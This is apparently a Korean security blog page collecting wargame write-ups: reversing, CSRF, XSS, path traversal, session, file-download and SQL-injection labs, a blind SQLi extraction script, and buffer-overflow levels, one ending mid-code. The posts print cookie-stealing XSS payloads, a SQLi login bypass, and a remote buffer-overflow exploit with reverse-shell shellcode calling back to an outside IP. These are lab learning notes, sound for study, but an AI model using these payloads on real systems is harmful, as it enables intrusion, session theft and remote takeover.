728x90
이 문제는 사용자에게 문자열 입력을 받아 정해진 방법으로 입력값을 검증하여 correct 또는 wrong을 출력하는 프로그램이 주어집니다.

해당 바이너리를 분석하여 correct를 출력하는 입력값을 찾으세요!

x64dbg로 chall0.exe 파일을 연다.

아래와 같이 검색하여 correct 문자열을 찾는다.

 

첫 번째 칸을 더블클릭하여 찾아가면 correct가 출력되는 어셈블리 코드 부분이 나온다.

Input을 입력받는 것처럼 보인다. test eax, eax는 eax가 0인지 체크하는 코드다. test 연산은 피연산자끼리 and 연산 후 결괏값은 저장하지 않고 플래그 값 세팅하여 je, jne 같은 분기문에 영향을 준다.  eax가 0이면 ZF(zero flag)가 1로 세팅되고 바로 아래의 je chall0.7FFC3231166이 실행된다. chall0.7FFC3231166으로 가면 wrong을 출력하기에 test eax, eax 바로 위의 call chall0.7FF7C3231000에서 eax을 0이 아닌 값으로 세팅해야 한다. call chall0.7FF7C3231000을 더블클릭하면 해당 주소로 이동한다.

test eax,eax 결과 eax가 0이 아니면 jne chall0.7FF7C3231028으로 이동하여 실행하는데 그 결과 eax에 0이 세팅된다. 그렇다면 결국 wrong을 출력할 것이다. 따라서 test eax, eax 결과가 0이 되어야 한다. strcmp함수를 호출하는데 strcmp는 두 문자열이 동일하면 결괏값을 0 반환한다. 0은 eax에 저장되어 반환된다. 두 문자열 중 하나는 7FFC3232220 주소에 위치한 Compar3_the_string이다. rsp+40 주소엔 내가 입력한 문자열의 주소가 저장되어 있을 것이다.

결과적으로 flag는 DH{Compar3_the_string}이다.

728x90

'dreamhack > Reverse Engineering' 카테고리의 다른 글

rev-basic-3  (0) 2023.02.14
rev-basic-2  (0) 2023.02.13
rev-basic-1  (0) 2023.02.12
728x90

CSRF란?

희생자가 CSRF 스크립트가 포함된 웹 페이지에 접속하면 희생자의 권한을 통해 공격자가 의도한 행위(등록, 수정, 삭제 등)를 실행하게 하는 취약점이다. XSS 공격은 악성 스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 희생자가 악성 스크립트(등록, 수정, 삭제하는 스크립트)를 서버에 요청한다는 점에 차이가 있다.

https://portswigger.net/web-security/csrf#common-defences-against-csrf

 

What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

In this section, we'll explain what cross-site request forgery is, describe some examples of common CSRF vulnerabilities, and explain how to prevent CSRF ...

portswigger.net

소스코드를 보면 /admin/notice_flag에 접근해야 FLAG를 이용할 수 있다. admin_notice_flag 함수를 보면 remote_addr이 127.0.0.1이어야 하기 때문에 check_csrf 함수를 이용해서 /admin/notice_flag에 접근해야한다. 이에 앞서 check_csrf 함수는 flag 함수에서 호출한다. 따라서 시작점은 flag 함수이다.

flag 함수에 다음과 같이 입력 후 memo 페이지에 접속하면 FLAG가 출력된다.

<img src="/admin/notice_flag?userid=admin">

입력값은 vuln 함수의 필터링 문자열인 frame, script, on에 걸리지 않는다. check_csrf 함수에 전달되고 127.0.0.1(admin)의 vuln페이지의 입력값으로 전달된다. img 태그가 실행되며 admin_notice_flag 함수가 실행된다. ip가 127.0.0.1이고 userid가 admin이 되어 memo_text에 추가된다. memo_text는 memo 페이지에 접속하면 출력된다.

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

CSRF-2  (0) 2023.02.12
command-injection-1  (0) 2023.02.12
XSS-2  (0) 2023.02.12
devtools-sources  (0) 2023.02.11
pathtraversal  (0) 2023.02.11
728x90

XSS란?

크로스 사이트 스크립팅은 공격자가 희생자의 브라우저에 스크립트가 실행되도록 하여 사용자의 쿠키나 세션 등을 탈취하는 공격이다. 공격 방식에 따라 Stored XSS, Reflected XSS가 있다.

Stored XSS는 공격자가 게시판의 게시글에 스크립트를 저장하여 희생자가 게시글을 요청하면 서버는 스크립트가 포함된 게시글을 돌려주고 희생자의 브라우저에서 스크립트가 실행된다.

Reflected XSS는 스크립트가 포함된 링크를 클릭하면 스크립트가 포함된 요청이 전송되고, 서버로부터 스크립트가 포함된 HTML 문서를 수신함으로써 브라우저에서 스크립트가 실행된다.

XSS-1과의 차이는 vuln 페이지에서 <script>문이 실행되지 않는 것이다.

XSS-1과 동작 방식은 동일하다. flag 페이지에서 입력하면 FLAG 값이 check_xss 함수에 전달되고 admin(127.0.0.1)이 vuln 페이지에 param 인자 값을 설정하여 요청하면서 cookie에 저장된 FLAG 값을 memo 페이지에 출력하는 것이다.

우회를 위해 svg 태그를 이용한다. svg 그래픽을 이용하는데 필요한 태그라고 한다.

onload는 웹 페이지가 모든 콘텐츠(이미지, 스크립트 파일, CSS 파일 등)를 완전히 로드한 후 스크립트를 실행하기 위해 <body> 요소 내에서 자주 사용한다.

<svg onload=location.href="http://127.0.0.1:8000/memo?memo="+document.cookie>

flag 페이지에서 입력값을 전달했다.

memo 페이지에 접속하면 flag가 보인다.

참고로 img 태그를 이용하는 방식도 가능하다.

<img src="abc" onerror="location.href='/memo?memo='+document.cookie">

이미지를 로드할때 사용한다. src는 포함할 이미지 경로이며 onerror는 에러 발생시 실행된다.

abc라는 이미지는 없기에 onerror가 실행된다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

command-injection-1  (0) 2023.02.12
CSRF-1  (0) 2023.02.12
devtools-sources  (0) 2023.02.11
pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
728x90

파일 다운로드 후 압축 해제한다.

index.html 파일에 들어간다.

f12(개발자 옵션)을 눌러서 소스 탭에 들어간다.

ctrl + shift + f 누르면 모든 파일에 대한 내용을 검색할 수 있다.

FLAG의 기본 형식 DH를 입력하니 FLAG 값이 나왔고 webpack:///styles/main.scss에 있다길래 다시 확인해보니 존재한다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

CSRF-1  (0) 2023.02.12
XSS-2  (0) 2023.02.12
pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
728x90

pathtraversal은 ..과 / 을 이용하여 접근해서 안 되는 파일이나 디렉터리에 접근하는 공격이다.

핵심 코드는 다음과 같다.

def internal_api(func):
    @wraps(func)
    def decorated_view(*args, **kwargs):
        if request.remote_addr == '127.0.0.1':
            return func(*args, **kwargs)
        else:
            abort(401)
    return decorated_view

@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
    if request.method == 'GET':
        return render_template('get_info.html')
    elif request.method == 'POST':
        userid = request.form.get('userid', '')
        info = requests.get(f'{API_HOST}/api/user/{userid}').text
        return render_template('get_info.html', info=info)

@app.route('/api/flag')
@internal_api
def flag():
    return FLAG

/api/flag에 접근해야 flag를 볼 수 있기에 get_info 함수로 ../flag를 입력하여 post 한다. 127.0.0.1:8000/api/user/../flag는 127.0.0.1:8000/api/flag와 동일하다. 그럼 flag 함수 실행 전 internal_api 데코레이터에 flag 함수를 인자로 넘기면서 호출한다. return decorated_view에 의해 decorated_view 실행된다. 접속 ip가 127.0.0.1이어야 func 즉, internal_api의 인자로 전달되었던 flag 함수가 실행된다.

@wraps, @internal_api는 데코레이터인데 작동방식은 다음의 글을 참고하면 도움이 된다.

https://yaboong.github.io/python/2018/03/04/python-decorator-example/

 

파이썬 데코레이터

개요 파이썬 데코레이터에 대한 간단한 설명과 예제

yaboong.github.io

get_info 페이지에서 userid에 ../flag를 입력 후 View 버튼을 누르면 예상한 결과가 나오지 않는다. Burp Suite를 실행 후 패킷을 본다. 분명히 ../flag를 입력했는데 userid가 undefined가 되어있다. ../flag로 수정 후 forward 해보자.

FLAG 등장

DH{8a33bb6fe0a37522bdc8adb65116b2d4}
728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

XSS-2  (0) 2023.02.12
devtools-sources  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
XSS-1  (0) 2023.02.07
728x90
쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다.
admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.

플래그 형식은 DH{…} 입니다.
if __name__ == '__main__':
    import os
    # create admin sessionid and save it to our storage
    # and also you cannot reveal admin's sesseionid by brute forcing!!! haha
    session_storage[os.urandom(32).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

함수가 실행되면서 처음에 비어있는 session_storage에 랜덤한 세션 id를 key로 admin을 value로 넣고 있다.

@app.route('/admin')
def admin():
    # developer's note: review below commented code and uncomment it (TODO)

    #session_id = request.cookies.get('sessionid', None)
    #username = session_storage[session_id]
    #if username != 'admin':
    #    return render_template('index.html')

    return session_storage

admin 함수에서 session_storage를 반환하고 있다.

http://host3.dreamhack.games:14823/admin로 접속하니 세션 id가 나온다.

{"ac38f2333c6c0fe28e748e2c1079228f4cec5ba273974c9b2406e282f7e5b10d":"admin"}
@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        # get username from session_storage
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

쿠키에 sessionid 이름으로 admin을 값으로 하여 추가하고 첫 페이지에서 새로고침하면 flag가 나온다.

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

devtools-sources  (0) 2023.02.11
pathtraversal  (0) 2023.02.11
file-download-1  (0) 2023.02.09
XSS-1  (0) 2023.02.07
simple_sqli  (0) 2023.02.07
728x90
문제 정보
File Download 취약점이 존재하는 웹 서비스입니다.
flag.py를 다운로드 받으면 플래그를 획득할 수 있습니다.

Upload My Memo 메뉴에 들어가서 글을 쓰고 올리면 / 페이지에 출력된다. 글을 클릭하면 read_memo 함수가 실행된다.

read 함수의 name인자에 제목을 넣으면 해당 제목의 글을 읽는다.

UPLOAD_DIR = 'uploads'

@APP.route('/read')
def read_memo():
    error = False
    data = b''

    filename = request.args.get('name', '')

    try:
        with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True


    return render_template('read.html',
                           filename=filename,
                           content=data.decode('utf-8'),
                           error=error)

uploads 디렉토리 밑에 filename이 위치한다.

name 인자에 flag.py를 입력하니 없다고 한다.

../flag.py를 입력하니 답이 나온다. uploads 디렉토리와 같은 경로에 flag.py가 존재했다.

FLAG = 'DH{uploading_webshell_in_python_program_is_my_dream}'
728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
XSS-1  (0) 2023.02.07
simple_sqli  (0) 2023.02.07
cookie  (0) 2023.02.07
728x90

XSS란?

XSS란?

크로스 사이트 스크립팅은 공격자가 희생자의 브라우저에 스크립트가 실행되도록 하여 사용자의 쿠키나 세션 등을 탈취하는 공격이다. 공격 방식에 따라 Stored XSS, Reflected XSS가 있다.

Stored XSS는 공격자가 게시판의 게시글에 스크립트를 저장하여 희생자가 게시글을 요청하면 서버는 스크립트가 포함된 게시글을 돌려주고 희생자의 브라우저에서 스크립트가 실행된다.

Reflected XSS는 스크립트가 포함된 링크를 클릭하면 스크립트가 포함된 요청이 전송되고, 서버로부터 스크립트가 포함된 HTML 문서를 수신함으로써 브라우저에서 스크립트가 실행된다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

flag 함수에서 FLAG가 등장한다. 다른 함수가 flag 함수를 호출하는 것도 아니라서 flag 함수에서 출발해 본다.

flag 함수는 내부에서 check_xss 함수를 호출한다. 인자에 FLAG가 존재한다.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

urlib.parse.quote(param)은 param을 URL 인코딩한다. url 문자열은 웹 사이트의 vuln(xss) page에서 param의 인자를 입력하는 행위다. 그리고 read_url 함수를 호출한다.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

read_url 함수는 쿠키를 추가해서 인자로 전달한 url 창을 띄웠다가 닫는다.

xss-1 웹 사이트를 보면 vuln(xss) page, memo, flag가 있다.

vuln(xss) page는 XSS 공격이 가능하다. 접속하자마자 1이 뜬다.

memo에서는 접속할 때마다 hello만 하나씩 출력이 추가되며 XSS는 통하지 않는다.

flag는 check_xss함수를 호출하고 check_xss 함수를 보면 vuln(xss) page에 인자값을 전달한다.

FLAG 값이 flag 함수에서 등장하여 cookie 인자로 check_xss로 전달되고 read_url 함수에서 driver.add_cookie 함수에 의해 쿠키값으로 추가된다. 이때 쿠키 값을 memo 페이지에 기록하면 memo 페이지에서 다음과 같이 FLAG 값을 볼 수 있다.

flag 페이지에 접속하여 다음과 같이 입력한다.

<script>location.href="http://127.0.0.1:8000/memo?memo="+document.cookie</script>

javascript 문인데 location.href 뒤에 등장하는 memo 페이지로 리다이렉션 되며 memo 파라미터로 쿠키값을 전달한다. flag 함수에서 등장한 FLAG 값이 check_xss 함수를 거쳐 read_url 함수에서 쿠키에 FLAG를 저장하였기 때문에 document.cookie를 이용해 쿠키를 출력한다. memo 페이지에 접속하면 FLAG가 보인다.

hello
flag=DH{2c01577e9542ec24d68ba0ffb846508e}
hello

flag 함수의 인자로 http://host3.dreamhack.games:포트번호 형태가 아닌 http://127.0.0.1:8000을 줬는지, 또는 flag 함수에 <script>alert(document.cookie)</script>를 입력하면 안 풀리는 이유는 127.0.0.1이 내 ip가 아닌 서버를 실행시킨 admin의 ip이기 때문이다. 첫 번째 경우는 127.0.0.1을 이용함으로써 admin의 쿠키 값에 추가된 flag를 memo 페이지에 출력할 수 있으며 두 번째 경우는 alert 창은 admin의 PC에 뜰 것이다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
simple_sqli  (0) 2023.02.07
cookie  (0) 2023.02.07
728x90
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

핵심 코드는 login 함수다. flag를 출력하는 문이 보인다.

Login 페이지에서 userid & password 전송하면 POST 방식이 되고 login 함수의 else 부분이 실행된다. 쿼리 실행결과 userid가 admin이면 FLAG가 출력된다.

userid에 admin을 넣고 password에 " or userid="admin 을 넣었다. 결과적으로 아래의 쿼리가 완성된다.

select * from users where userid="admin" and userpassword="" or userid="admin"

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
XSS-1  (0) 2023.02.07
cookie  (0) 2023.02.07
728x90
@app.route('/')
def index():
    username = request.cookies.get('username', None)
    if username:
        return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
    return render_template('index.html')

app.py 코드 중 핵심 부분이다.

/(루트) 페이지 즉, 첫 페이지에 접속하면 index 함수가 실행된다.

index 함수는 username 이름의 쿠키 값이 admin이면 "flag is FLAG값" 형태로 출력한다.

개발자 옵션(f12)을 이용해 cookie를 추가한다.

웹 페이지를 새로고침 하면 flag가 나온다.

 

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
XSS-1  (0) 2023.02.07
simple_sqli  (0) 2023.02.07
728x90

우클릭 해서 페이지 소스보기를 클릭하면 소스코드가 나온다.

현재 시간이 나오고, 쿠키를 보면 time이름의 쿠키에 unix 시간이 있다.

EditThisCookie를 이용하여 time 값에 0을 넣으면 2070-01-01 09:00:00, 1을 넣으면 2070-01-01 09:00:01이 된다. 초에 반영되는 것을 알 수 있다. 이를 바탕으로 Blind SQL Injection이 가능하다.

1. table 개수(2)

table 개수

<!--
2070-01-01 09:00:02
-->

2. table 명 길이(13)

첫 번째 table 명의 길이를 찾는다. (사실 첫 번째 table에 답이 있다.)

table 명

<!--
2070-01-01 09:00:13
-->

3. table 명(admin_area_pw)

import requests

url = 'https://webhacking.kr/challenge/web-02/'
true_phrase='2070-01-01 09:00:01'
HEX='0123456789ABCDEF'


def find_tb_name():
    tmp=''
    for i in range(1,27):
        for j in HEX:
            cookie={"time":"(substr(hex((select table_name from information_schema.tables where table_schema=database() limit 0,1)),{},1)='{}')".format(i,j)}
            r=requests.get(url,cookies=cookie)
            if true_phrase in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
    
find_tb_name()

4. column 개수(1)

column 개수

<!--
2070-01-01 09:00:01
-->

5. column 명 길이(2)

column 명 길이

<!--
2070-01-01 09:00:02
-->

6. column 명(pw)

import requests

url = 'https://webhacking.kr/challenge/web-02/'
true_phrase='2070-01-01 09:00:01'
HEX='0123456789ABCDEF'

def find_col_name():
    tmp=''
    for i in range(1,5):
        for j in HEX:
            cookie={"time":"(substr(hex((select column_name from information_schema.columns where table_name='admin_area_pw')),{},1)='{}')".format(i,j)}
            r=requests.get(url,cookies=cookie)
            if true_phrase in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break    
                
find_col_name()

7. 데이터 개수(1)

데이터 개수

<!--
2070-01-01 09:00:01
-->

8. 데이터 길이(17)

<!--
2070-01-01 09:00:17
-->

9. 데이터(kudos_to_beistlab)

import requests

url = 'https://webhacking.kr/challenge/web-02/'
true_phrase='2070-01-01 09:00:01'
HEX='0123456789ABCDEF'
            
def find_data():
    tmp=''
    for i in range(1,35):
        for j in HEX:
            cookie={"time":"(substr(hex((select pw from admin_area_pw)),{},1)='{}')".format(i,j)}
            r=requests.get(url,cookies=cookie)
            if true_phrase in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break    
                
find_data()

 

728x90

'webhacking.kr' 카테고리의 다른 글

old-04  (0) 2023.02.18
old-03  (0) 2023.02.17
old-01  (0) 2023.02.06
webhacking 33  (2) 2022.12.22
webhacking 32  (0) 2022.12.21
728x90
//처음 접속하면 쿠키 생성하는 코드
<?php
  include "../../config.php";
  if($_GET['view-source'] == 1){ view_source(); }
  if(!$_COOKIE['user_lv']){
    SetCookie("user_lv","1",time()+86400*30,"/challenge/web-01/");
    echo("<meta http-equiv=refresh content=0>");
  }
?>
<?php
  if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>=4) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>3) solve(1);
  echo "<br>level : {$_COOKIE['user_lv']}";
?>

하단의 코드에서 solve(1) 부분만 보면된다. $_COOKIE['user_lv']는 user_lv이름의 쿠키값인데 3보단 크고 4보단 작으면 solve(1)이 실행된다.

f12 누르면 웹 개발자 도구가 나온다. application 항목에서 webhacking.kr을 클릭하면 쿠키를 생성, 수정 및 삭제 가능하다.

이미 user_lv 쿠키가 상단의 php 코드에 의해 생성되었으므로 값만 수정한 후 새로고침하면 풀린다.

728x90

'webhacking.kr' 카테고리의 다른 글

old-03  (0) 2023.02.17
old-02  (0) 2023.02.06
webhacking 33  (2) 2022.12.22
webhacking 32  (0) 2022.12.21
webhacking 31  (0) 2022.12.21
728x90
[death_knight@localhost death_knight]$ ls
dropped_item.txt
[death_knight@localhost death_knight]$ cat dropped_item.txt 
	
 You're so great! This is a token to the next gate.

                   ,.
                 ,'  `.
               ,' _<>_ `.
             ,'.-'____`-.`.
           ,'_.-''    ``-._`.
         ,','      /\      `.`.
       ,' /.._  O /  \ O  _.,\ `.
     ,'/ /  \ ``-;.--.:-'' /  \ \`.
   ,' : :    \  /\`.,'/\  /    : : `.
  < <>| |   O >(< (  ) >)< O   | |<> >
   `. : :    /  \/,'`.\/  \    ; ; ,'
     `.\ \  /_..-:`--';-.._\  / /,'
       `. \`'   O \  / O   `'/ ,'
         `.`._     \/     _,','
           `..``-.____.-'',,'
             `.`-.____.-','
               `.  <>  ,'
                 `.  ,' 
                   `'

신기한 문양이 있다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

xavius -> death_knight  (0) 2023.02.04
nightmare -> xavius  (0) 2023.02.03
succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
728x90

xavius / beg for me

/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>

main()
{
	char buffer[40];

	int server_fd, client_fd;  
	struct sockaddr_in server_addr;   
	struct sockaddr_in client_addr; 
	int sin_size;

	if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
		perror("socket");
		exit(1);
	}

	server_addr.sin_family = AF_INET;        
	server_addr.sin_port = htons(6666);   
	server_addr.sin_addr.s_addr = INADDR_ANY; 
	bzero(&(server_addr.sin_zero), 8);   

	if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
		perror("bind");
		exit(1);
	}

	if(listen(server_fd, 10) == -1){
		perror("listen");
		exit(1);
	}
        
	while(1) {  
		sin_size = sizeof(struct sockaddr_in);
		if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
			perror("accept");
			continue;
		}
            
		if (!fork()){ 
			send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
			send(client_fd, "You : ", 6, 0);
			recv(client_fd, buffer, 256, 0);
			close(client_fd);
			break;
		}
            
		close(client_fd);  
		while(waitpid(-1,NULL,WNOHANG) > 0);
	}
	close(server_fd);
}

소켓 프로그래밍을 이용해 서버를 구현하는 코드다. 소켓 프로그래밍은 낯설텐데 뭔가 많아 보여도 세팅과정일 뿐이라 버퍼오버플로우에선 신경 쓰지 않아도 된다. 주목할 점은 6666번 포트를 오픈하여 리스닝하는 것이다.

fork 함수는 자식 프로세스를 만드는 함수다. 부모 프로세스는 fork 함수의 반환값이 자식 프로세스의 pid이며 자식 프로세스는 fork 함수의 반환값이 0이다. 따라서 부모 프로세스는 연결 요청을 수락하고 자식 프로세스를 생성하여 통신을 처리한다. if(!fork())는 자식 프로세스만이 만족하므로 if 문 내부는 자식함수들이 send, recv 즉, 통신한다.

힌트에서도 주어졌듯이 오버플로우 공격문은 단순한데 remote BOF라 소켓 통신을 이용해서 BOF를 실행한다는 점이 다를 뿐이다. buffer의 크기는 40 bytes인데 client로부터 256 bytes를 recv 하므로 BOF 공격이 가능하다.

0x8048a05 <main+321>:	push   0
0x8048a07 <main+323>:	push   0x100
0x8048a0c <main+328>:	lea    %eax,[%ebp-40]
0x8048a0f <main+331>:	push   %eax
0x8048a10 <main+332>:	mov    %eax,DWORD PTR [%ebp-48]
---Type <return> to continue, or q <return> to quit---
0x8048a13 <main+335>:	push   %eax
0x8048a14 <main+336>:	call   0x804860c <recv>

recv의 두 번째 인자가 buffer이기에 ebp-40에 존재함을 알 수 있다. 따라서 기본적인 스택 구조는 buffer(40 bytes)+sfp(4 bytes)+ret addr(4 bytes) 형태이기에 공격문은 다음과 같이 설정한다.

dummy(44 bytes)+ret addr(4 bytes)+ 리버스 쉘 코드

ret addr은 리버스 쉘 코드의 주소로 설정하면 리버스 쉘 코드로 리턴되어 리버스 쉘 코드가 실행될 것이다. 리버스 쉘이란 클라이언트(공격자)가 리스닝 포트를 열고 서버(희생자)에서 클라이언트에 쉘을 들고 와서 붙는 형태이다. 리버스 쉘 코드를 희생자에게서 실행하면 공격자가 희생자의 쉘을 제어할 수 있다.

필자는 peda를 이용하여 ip는 172.25.174.237, port는 4444번으로 설정하여 리버스 쉘 코드를 만들었다.

gdb-peda$ shellcode generate x86/linux connect 4444 172.25.174.237
# x86/linux/connect: 70 bytes
# port=4444, host=172.25.174.237
shellcode = (
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
    "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xac\x19\xae\xed\x66\x68"
    "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
    "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    "\x89\xe1\xb0\x0b\xcd\x80"
)

파이썬으로 익스플로잇 코드를 만들자.

from pwn import *
shell=(
        "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
        "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xac\x19\xae\xed\x66\x68"
        "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
        "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
        "\x89\xe1\xb0\x0b\xcd\x80"
)

for i in range(0x00,0xff,-1):
    for j in range(0x00,0xff,1):
        p=remote("192.168.93.128",6666)
        payload  = "A"*44 + chr(j) + chr(i) + "\xff\xbf" + "\x90"*100 + shell
        p.recvuntil("You : ")
        p.send(payload)
        p.close()

pwntools 라이브러리를 이용한다. remote를 이용해 LOB서버의 6666번 포트에 연결하고 리턴 주소를 정확히 알 수 없기에 0x00부터 0xFF까지 각 경우에 대하여 매번 연결 요청하여 브루트포스 방식으로 버퍼 오버플로우 공격을 수행한다. 스택이기에 상위 2 bytes는 0xbfff로 고정했다. 연결되면 LOB서버에서 Death Knight : ~부터 You : 까지 클라이언트에게 전송하기에 recvuntil을 이용해 You : 까지 수신해준 뒤 만든 payload를 전송함으로써 공격을 수행 후 연결을 종료한다. 만약 쉘을 획득한다면 연결이 종료되어도 명령을 수행할 수 있다.

fork를 통해 자식 프로세스를 만들면 부모 프로세스의 스택, 힙, 데이터, 코드 영역 값이 복사되며 주소값도 동일하다. 하지만 이는 가상 주소이기에 부모나 자식 프로세스에서 변수의 값을 바꾸면 변수에 매핑되는 물리 주소는 서로 달라진다. 따라서 변수의 주소값은 동일하게 유지되기에 0x00부터 0xFF까지 대입하다보면 무조건 공격이 성공할 수밖에 없다.

[xavius@localhost xavius]$ netstat -antp | grep 6666
(No info could be read for "-p": geteuid()=519 but you should be root.)
tcp        0      0 0.0.0.0:6666            0.0.0.0:*               LISTEN      -

LOB에서 netstat 명령을 실행하면 이미 6666번 포트가 LISTEN 상태임을 알 수 있다. 따라서 death_knight가 이미 실행되고 있기에 다시 실행하려고 하면 에러만 뜰 것이다. 0.0.0.0은 모든 ip를 의미하는데 왼쪽이 local 오른쪽이 foreign이다. 왼쪽의 0.0.0.0은 서버에 할당된 모든 ip의 6666번 포트를 열었다는 뜻이고 오른쪽의 0.0.0.0:*은 모든 ip의 모든 포트로부터의 연결 요청을 받는다는 뜻이다.

hdg@LAPTOP-T8ULMV8T:~$ nc -lv 4444
Listening on LAPTOP-T8ULMV8T 4444
my-pass

내 pc에서도 nc를 이용해 4444번 포트를 리스닝 상태로 만들었다.

-l(listen) : 리스닝 상태

-v(verbose) : 세부 정보 출력

my-pass 명령을 미리 입력하고 대기한다.(미리 입력 안해도 괜찮음)

이제 python 코드를 실행할 차례다.

hdg@LAPTOP-T8ULMV8T:~$ python revsh.py
[+] Opening connection to 192.168.93.128 on port 6666: Done
revsh.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("You : ")
revsh.py:15: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.send(payload)
[*] Closed connection to 192.168.93.128 port 6666
[+] Opening connection to 192.168.93.128 on port 6666: Done
[*] Closed connection to 192.168.93.128 port 6666
[+] Opening connection to 192.168.93.128 on port 6666: Done
[*] Closed connection to 192.168.93.128 port 6666
[+] Opening connection to 192.168.93.128 on port 6666: Done
(생략)

코드를 실행하면 연결의 맺고 끊김이 계속 반복된다.

hdg@LAPTOP-T8ULMV8T:~$ nc -lv 4444
Listening on LAPTOP-T8ULMV8T 4444
my-pass
Connection received on LAPTOP-T8ULMV8T 4545
euid = 520
got the life

어느 순간 쉘을 획득하고 my-pass 명령 실행 결과가 출력된다.

death_knight의 비밀번호는 got the life

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

death_knight  (0) 2023.02.04
nightmare -> xavius  (0) 2023.02.03
succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
728x90

nightmare / beg for me

/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
	char buffer[40];
	char *ret_addr;

	// overflow!
